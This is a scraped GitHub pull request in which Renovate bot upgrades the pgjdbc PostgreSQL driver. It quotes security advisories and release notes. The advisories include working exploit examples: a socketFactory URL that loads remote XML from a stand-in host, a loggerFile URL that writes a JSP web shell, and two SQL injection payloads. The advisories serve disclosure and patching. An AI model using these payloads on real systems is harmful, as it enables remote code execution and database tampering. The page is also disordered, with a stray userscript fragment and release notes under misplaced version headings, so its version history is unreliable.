  • refactor: the worker that runs the connection attempt under loginTimeout is now a FutureTask (ConnectTask) instead of the hand-rolled ConnectThread. When the caller hits the timeout, the task is now cancelled with cancel(true), which interrupts the worker thread rather than letting it run to completion. This makes the connection attempt interruptible, so loginTimeout can stop a slow connection attempt instead of leaking a thread. As before, a connection that the worker still manages to establish after the caller gives up is closed by the worker so that it does not leak. There are no public API changes and this should only lead to faster background resource cleanup for connections that time out. PR #​4120
  • chore: PGXAConnection.ConnectionHandler now rejects setAutoCommit(false) and setSavepoint(...) during an active XA branch, in addition to the long-rejected setAutoCommit(true) / commit() / rollback(). The setSavepoint rejection was already meant to be in place but the guard misspelled the method name as setSavePoint, so savepoints silently went through. Both changes bring the proxy in line with JTA 1.2 §3.4. PR #​4114
  • chore: commitPrepared / rollback-of-prepared now return XAER_RMFAIL instead of XAER_RMERR when the underlying connection is left in a non-idle TransactionState. Transaction managers (Geronimo, Narayana, Atomikos) treat XAER_RMFAIL as retryable on a fresh XAResource; the prepared transaction is no longer abandoned. PR #​4114
  • refactor: derive getPrimaryKeys from pg_constraint.conkeyPR #​4202
Fixed
  • fix: the published GitHub release now ships the released postgresql-<version>.jar and its detached PGP signature, taken from the same signed build that is uploaded to Maven Central, instead of a leftover SNAPSHOT jar Issue #​3812PR #​3814
  • fix: simplify the Statement#cancel state machine by dropping the redundant CANCELLED state. killTimerTask now waits for the state to return to IDLE directly, which removes a spin-forever case when more than one thread observes the cancel completing PR #​1827.
  • perf: defer simple-query flushes until the driver reads the response, allowing BEGIN and the following query to share a network flush Issue #​3894PR #​4196
  • fix: reWriteBatchedInserts no longer throws IllegalArgumentException when batching a parameterless INSERT (for example INSERT INTO t VALUES (1, 2)) of 256 rows or more PR #​4207
  • fix: a comment before CALL in a CallableStatement no longer hides the native call, so OUT parameter registration works for /* comment */ call proc(?, ?) and similar. Parser.modifyJdbcCall now skips leading whitespace and SQL comments (both -- and /* */) before the call, tolerates a trailing comment after a { ... } escape, and no longer adds a spurious comma when moving an OUT parameter into a call whose arguments are only a comment Issue #​2538PR #​4209
  • fix: PreparedStatement.toString() no longer throws for a bytea value supplied as text via PGobject. Hex-format values (\x...) are validated and rendered as a bytea literal, and escape-format values are quoted and cast like any other literal Issue #​3757PR #​4201
  • fix: the driver no longer nulls the contextClassLoader of shared ForkJoinPool.commonPool() worker threads, which previously left unrelated tasks on those threads running with a null classloader Issue #​4155PR #​4156
  • fix: PgResultSet#getCharacterStream wraps String in a StringReaderPR #​4063
  • fix: PGXAConnection no longer saves and restores the underlying connection's JDBC autoCommit flag. All XA-protocol SQL (BEGIN, PREPARE TRANSACTION, COMMIT, ROLLBACK, COMMIT PREPARED, ROLLBACK PREPARED, the recover() SELECT) is sent through QUERY_SUPPRESS_BEGIN, so the caller's autoCommit value is invariant across every XAResource call. Fixes the "2nd phase commit must be issued using an idle connection" failure during recovery on managed datasources that pool connections with autoCommit=false (TomEE, WildFly, WebSphere Liberty) PR #​4114
  • fix: PGXAConnection.prepare() now mutates XA state only after PREPARE TRANSACTION succeeds. A failed PREPARE previously left the driver thinking the branch was already prepared, so the follow-up rollback(xid) tried ROLLBACK PREPARED against a non-existent gid and returned XAER_RMERR. Transaction managers (Narayana) escalated this to HeuristicMixedException. With the fix, rollback(xid) takes the active-branch path and issues a plain ROLLBACK, which the server accepts cleanly. Fixes Issue #​3153, Issue #​3123. PR #​4114
  • fix: an updatable result set over an unqualified table name is now classified using only the table visible through search_path. When two schemas held a table with the same name and the same primary or unique index name but a different set of key columns, the driver took the union of both schemas' columns, so the result set could be wrongly rejected as not updatable PR #​4214. Supersedes
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026
@renovate
renovateBot
deleted the

renovate/maven-org.postgresql-postgresql-vulnerability

branch
March 27, 2026 00:45
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
c29cb62 to
aa15a13CompareMarch 30, 2026 18:01
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Apr 28, 2026
@renovaterenovateBot
reopened this
Apr 28, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
aa15a13 to
45ddb13CompareApril 28, 2026 04:54
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
from
45ddb13 to
101b1f7CompareMay 7, 2026 00:12
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]May 7, 2026
Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


No reviews


Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers");
}
} catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY] - #62
Open
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Open
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 16, 2023•

edited

Loading

Copy link


Copy Markdown

ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
PackageChangeAgeConfidence
org.postgresql:postgresql (source)42.2.23 → 42.7.11ageconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
CVE-2022-21724 / GHSA-v7wg-cpwc-24m4
More information
Details
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Severity
  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc Arbitrary File Write Vulnerability
GHSA-673j-qm5f-xpv8
More information
Details
Overview
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
Impact
It is possible to specify an arbitrary filename in the loggerFileName connection parameter

"jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
Patches
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
Workarounds
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
Severity
Medium
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Path traversal in org.postgresql:postgresql
CVE-2022-26520 / GHSA-727h-hrw8-jg8q
More information
Details
In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.
Severity
Low
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names
CVE-2022-31197 / GHSA-r38f-c4h4-hqq2
More information
Details
Impact
What kind of vulnerability is it? Who is impacted?
The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ;, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.
User applications that do not invoke the ResultSet.refreshRow() method are not impacted.
User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.
For example:
CREATETABLErefresh_row_example (
id intPRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * "int
);
This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row, would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.
As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.
Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check that you are not using the ResultSet.refreshRow() method.
If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.
Severity
  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
TemporaryFolder on unix-like systems does not limit access to created files
CVE-2022-41946 / GHSA-562r-vg33-8x8h
More information
Details
Vulnerability
PreparedStatement.setText(int, InputStream)

and
PreparedStatemet.setBytea(int, InputStream)
will create a temporary file if the InputStream is larger than 51k
Example of vulnerable code:
Strings = "some very large string greater than 51200 bytes";
PreparedStatement.setInputStream(1, newByteArrayInputStream(s.getBytes()) );
This will create a temporary file which is readable by other users on Unix like systems, but not MacOS.
Impact

On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.
When analyzing the impact of this vulnerability, here are the important questions to ask:
Is the driver running in an environment where the OS has other untrusted users.

If yes, and you answered 'yes' to question 1, this vulnerability impacts you.

If no, this vulnerability does not impact you.

Patches

Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.
Java 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1

Java 1.7 users: this vulnerability is fixed in 42.2.27.jre7

Java 1.6 and lower users: no patch is available; you must use the workaround below.

Workarounds

If you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.
References
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Fix commit pgjdbc/pgjdbc@9008dc9

Similar Vulnerabilities

Google Guava - https://github.com/google/guava/issues/4011

Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945

JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824
Severity
  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
org.postgresql:postgresql vulnerable to SQL Injection via line comment generation
CVE-2024-1597 / GHSA-24rp-q3w6-vc56
More information
Details
Impact
SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.
There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.
Exploitation
To exploit this behavior the following conditions must be met:
  1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. -)
  2. There must be a second placeholder for a string value after the first placeholder on the same line.
  3. Both parameters must be user controlled.
The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a -- SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.
When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.
Example
PreparedStatementstmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSetrs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:
SELECT--1,'WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.
Patch
Problem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7
The patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:
SELECT-('-1'::int4), ('WHERE false --')
Workarounds
Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)
Severity
  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
CVE-2026-42198 / GHSA-98qh-xjc8-98pq
More information
Details
Summary
pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact
A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.

With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.

A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
  1. The connection uses SCRAM-SHA-256 authentication.
  2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
  3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
  • the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
  • the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
  • the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
  • the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
  • an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
  • an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches
The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
  1. Only connect to trusted PostgreSQL servers whose identity is verified.
    
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.
    
TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
  2. Do not rely on loginTimeout as a complete mitigation on unpatched versions.
    
On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
  3. Avoid SCRAM on untrusted or interceptable connection paths.
    
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
  4. Reduce blast radius operationally.
    
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
  5. On trusted servers you control, keep SCRAM iteration counts at ordinary values.
    
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pgjdbc/pgjdbc (org.postgresql:postgresql)
v42.7.11
Security
  • fix: Limit SCRAM PBKDF2 iterations accepted from the server.
    
pgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.
    
See the Security Advisory for more detail.
    
The following CVE-2026-42198 has been issued.
Added
  • feat: implement require_auth connection property, aligning with libpq behavior PR #​3895
Changed
  • chore: replace Appveyor CI with ikalnytskyi/action-setup-postgres PR #​3966
  • chore: upgrade Gradle to v9 PR #​3978
Fixed
  • fix: ensure extended protocol messages end with Sync message PR #​3728
  • fix: enable cursor-based fetching in extended protocol when transaction started via SQL command PR #​3996
  • fix: retry with SSL on IOException when sslMode=ALLOW PR #​3973
  • fix: make sure the driver honours connectTimeout when retrying the connection PR #​3968
  • fix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in PR #​3968
  • fix: catch SecurityException from setContextClassLoader on ForkJoinPool workers PR #​3962
  • fix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly PR #​3961
  • fix: release COPY lock on IOException to prevent connection hang PR #​3957
  • fix: return jsonb as PGObject instead of String PR #​3956
  • fix: align SSL key file permission check with libpq PR #​3952
  • fix: guard connection closed flag with a reentrant lock to protect against concurrent close PR #​3905
v42.7.10
Changed
  • chore: Migrate to Shadow 9 PR 3931
  • style: fix empty line before javadoc for checkstyle compliance PR #​3925
  • style: fix lambda argument indentation for checkstyle compliance PR #​3922
  • test: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs PR #​3917
Fixed
  • fix: non-standard strings failing test for version 19 PR #​3934
  • fix: small issues in ConnectionFactoryImpl PR #​3929
  • fix: process pending responses before fastpath to avoid protocol errors PR # 3913
  • doc: use.md, fix typos PR #​3911
  • doc: datasource.md, fix minor formatting issue PR #​3912
  • doc: add the new PGP signing key to the official documentation PR #​3912
Reverted
v42.7.9
Compare Source
Added
  • feat: query timeout property PR #​3705
  • feat: Add PEMKeyManager to handle PEM based certs and keys PR #​3700
Changed
  • perf: optimize PGInterval.getValue() by replacing String.format with StringBuilder
  • doc: update property quoteReturningIdentifiers default value PR #​3847
  • security: Use a static method forName to load all user supplied classes. Use the Class.forName 3 parameter method and do not initilize it unless it is a subclass of the expected class
Fixed
  • fix: incorrect pg_stat_replication.reply_time calculation PR #​3906
  • fix: close temporary lob descriptors that are used internally in PreparedStatement#setBlob
  • fix: PGXAConnection.prepare(Xid) should return XA_RDONLY if the connection is read only PR #​3897
  • fix: make all Calendar instances proleptic Gregorian PR #​3837
  • fix: Simplify concurrency guards on QueryExecutorBase#transaction and QueryExecutorBase#standardConformingStrings PR #​3897
  • fix: avoid memory leaks in Java <= 21 caused by Thread.inheritedAccessControlContext PR #​3886
  • fix: Issue #​3784 pgjdbc can't decode numeric arrays containing special numbers like NaN PR #​3838
  • fix: use ssl_is_used() to check for ssl connection PR #​3867
  • fix: the classloader is nullable PR #​3907
v42.7.8
Compare Source
Added
  • feat: Add configurable boolean-to-numeric conversion for ResultSet getters PR #​3796
Changed
  • perf: remove QUERY_ONESHOT flag when calling getMetaData PR #​3783
  • perf: use BufferedInputStream with FileInputStreamPR #​3750
  • perf: enable server-prepared statements for DatabaseMetaData
Fixed
  • fix: avoid NullPointerException when cancelling a query if cancel key is not known yet
  • fix: Change "PST" timezone in TimestampTest to "Pacific Standard Time" PR #​3774
  • fix: traverse the current dimension to get the correct pos in PgArray#calcRemainingDataLength PR #​3746
  • fix: make sure getImportedExportedKeys returns columns in consistent order
  • fix: Add "SELF_REFERENCING_COL_NAME" field to getTables' ResultSetMetaData to fix NullPointerException PR #​3660
  • fix: unable to open replication connection to servers < 12
  • fix: avoid closing statement caused by driver's internal ResultSet#close()
  • fix: return empty metadata for empty catalog names as it was before
  • fix: Incorrect class comparison in PGXmlFactoryFactory validation
v42.7.7
Security
  • security: Client Allows Fallback to Insecure Authentication Despite channelBinding=require configuration.
    
Fix channel binding required handling to reject non-SASL authentication
    
Previously, when channel binding was set to "require", the driver would silently ignore this
    
requirement for non-SASL authentication methods. This could lead to a false sense of security
    
when channel binding was explicitly requested but not actually enforced. The fix ensures that when
    
channel binding is set to "require", the driver will reject connections that use
    
non-SASL authentication methods or when SASL authentication has not completed properly.
    
See the Security Advisory for more detail. Reported by George MacKerron
    
The following CVE-2025-49146 has been issued
Added
  • test: Added ChannelBindingRequiredTest to verify proper behavior of channel binding settings
v42.7.6
Features
  • fix: Enhanced DatabaseMetadata.getIndexInfo() method, added index comment as REMARKS property PR #​3513
Performance Improvements
  • performance: Improve ResultSetMetadata.fetchFieldMetaData by using IN row values instead of UNION ALL for improved query performance (later reverted) PR #​3510
  • feat:Use a single simple query for all startup parameters, so groupStartupParameters is no longer needed PR #​3613
v42.7.5
Added
Fixed
  • regression: revert change in fc60537PR #​3476
  • fix: PgDatabaseMetaData implementation of catalog as param and return value PR #​3390
  • fix: Support default GSS credentials in the Java Postgres client PR #​3451
  • fix: return only the transactions accessible by the current_user in XAResource.recover PR #​3450
  • feat: don't force send extra_float_digits for PostgreSQL >= 12 fix Issue #​3432PR #​3446
  • fix: exclude "include columns" from the list of primary keys PR #​3434
  • perf: Enhance the meta query performance by specifying the oid. PR #​3427
  • feat: support getObject(int, byte[].class) for bytea PR #​3274
  • docs: document infinity and some minor edits PR #​3407
  • fix: Added way to check for major server version, fixed check for RULE PR #​3402
  • docs: fixed remaining paragraphs PR #​3398
  • docs: fixed paragraphs in javadoc comments PR #​3397
  • fix: Reuse buffers and reduce allocations in GSSInputStream addresses Issue #​3251PR #​3255
  • chore: Update Gradle to 8.10.2 PR #​3388
  • fix: getSchemas() PR #​3386
  • fix: Update rpm postgresql-jdbc.spec.tpl with scram-client PR #​3324
  • fix: Clearing thisRow and rowBuffer on close() of ResultSet Issue #​3383PR #​3384
  • fix: Package was renamed to maven-bundle-plugin PR #​3382
  • fix: As of version 18 the RULE privilege has been removed PR #​3378
  • fix: use buffered inputstream to create GSSInputStream PR #​3373
  • test: get rid of 8.4, 9.0 pg versions and use >= jdk version 17 PR #​3372
  • Changed docker-compose version and renamed script file in instructions to match the real file name PR #​3363
  • test:Do not assume "test" database in DatabaseMetaDataTransactionIsolationTest PR #​3364
  • try to categorize dependencies PR #​3362
v42.7.4
Added
  • chore: SCRAM dependency to 3.1 and support channel binding PR #​3188
  • chore: Add PostgreSQL 15, 16, and 17beta1 to CI tests PR #​3299
  • test: Update to 17beta3 PR #​3308
  • chore: Implement direct SSL ALPN connections PR #​3252
  • translation: Add Korean translation file PR #​3276
Fixed
  • fix: PgInterval ignores case for represented interval string PR #​3344
  • perf: Avoid extra copies when receiving int4 and int2 in PGStream PR #​3295
  • fix: Add support for Infinity::numeric values in ResultSet.getObject PR #​3304
  • fix: Ensure order of results for getDouble PR #​3301
  • perf: Replace BufferedOutputStream with unsynchronized PgBufferedOutputStream, allow configuring different Java and SO_SNDBUF buffer sizes PR #​3248
  • fix: Fix SSL tests PR #​3260
  • fix: Support bytea in preferQueryMode=simple PR #​3243
  • fix: Fix #​3234 - Return -1 as update count for stored procedure calls PR #​3235
  • fix: Fix #​3224 - conversion for TIME '24:00' to LocalTime breaks in binary-mode PR #​3225
  • perf: Speed up getDate by parsing bytes instead of String PR #​3141
  • fix: support PreparedStatement.setBlob(1, Blob) and PreparedStatement.setClob(1, Clob) for lobs that return -1 for length PR #​3136
  • fix: Validates resultset Params in PGStatement constructor. uses assertThro… PR #​3171
  • fix: Validates resultset parameters PR #​3167
  • docs: Replace greater to with greater than PR #​3315
  • docs: Clarify binaryTransfer and prepareThreshold PR #​3338
  • docs: use.md, typo PR #​3314
  • test: Use docker v2 which changes docker-compose to docker compose #​3339
  • refactor: Merge PgPreparedStatement#setBinaryStream int and long methods PR #​3165
  • test: Test both binaryMode=true,false when creating connections in DatabaseMetaDataTest PR #​3231
  • docs: Fixed typos in all source code and documentations PR #​3242
  • chore: Remove self-hosted runner PR #​3227
  • docs: Add cancelSignalTimeout in README PR #​3190
  • docs: Document READ_ONLY_MODE in README PR #​3175
  • test: Test for +/- infinity double values PR #​3294
  • test: Switch localhost and auth-test around for test-gss PR #​3343
  • fix: remove preDescribe from internalExecuteBatch PR #​2883
  • deps: Update dependency om.ongres.scram:scram-client to 3.2
Deprecated
  • test: Deprecate all PostgreSQL versions older than 9.1 PR #​3335
v42.7.3
Changed
Fixed
  • fix: boolean types not handled in SimpleQuery mode PR #​3146
    • make sure we handle boolean types in simple query mode
    • support uuid as well
    • handle all well known types in text mode and change else if to switch
  • fix: released new versions of 42.2.29, 42.3.10, 42.4.5, 42.5.6, 42.6.2 to deal with NoSuchMethodError on ByteBuffer#position when running on Java 8
v42.7.2
Security
  • security: SQL Injection via line comment generation, it is possible in SimpleQuery mode to generate a line comment by having a placeholder for a numeric with a -
    
such as -?. There must be second placeholder for a string immediately after. Setting the parameter to a -ve value creates a line comment.
    
This has been fixed in this version fixes CVE-2024-1597. Reported by Paul Gerste. See the security advisory for more details. This has been fixed in versions 42.7.2, 42.6.1 42.5.5, 42.4.4, 42.3.9, 42.2.28.jre7. See the security advisory for work arounds.
Changed
  • fix: Use simple query for isValid. Using Extended query sends two messages checkConnectionQuery was never ever set or used, removed PR #​3101
  • perf: Avoid autoboxing bind indexes by @​bokken in PR #​1244
  • refactor: Document that encodePassword will zero out the password array, and remove driver's default encodePassword by @​vlsi in PR #​3084
Added
  • feat: Add PasswordUtil for encrypting passwords client side PR #​3082
v42.7.1
Added
  • feat: invalidate the prepared-statement cache when the server reports a search_path change via GUC_REPORT (PostgreSQL 18+), so cached plans are no longer used against the wrong schema PR #​4259
  • feat: reWriteBatchedInserts now merges up to 32768 rows into one multi-values INSERT (bounded by the 65535 bind-parameter limit on the extended protocol) instead of capping at 128, which speeds up batches of few-column rows. The new reWriteBatchedInsertsSize connection property lowers that cap when set; the default of 0 uses that maximum. PR #​4207
  • feat: invalidate the prepared-statement cache after CREATE/DROP/ALTER so callers no longer trip on "cached plan must not change result type" without opting into autosave=ALWAYS. Controlled by the new flushCacheOnDdl connection property (default true); set to false for the prior behaviour. PR #​4067
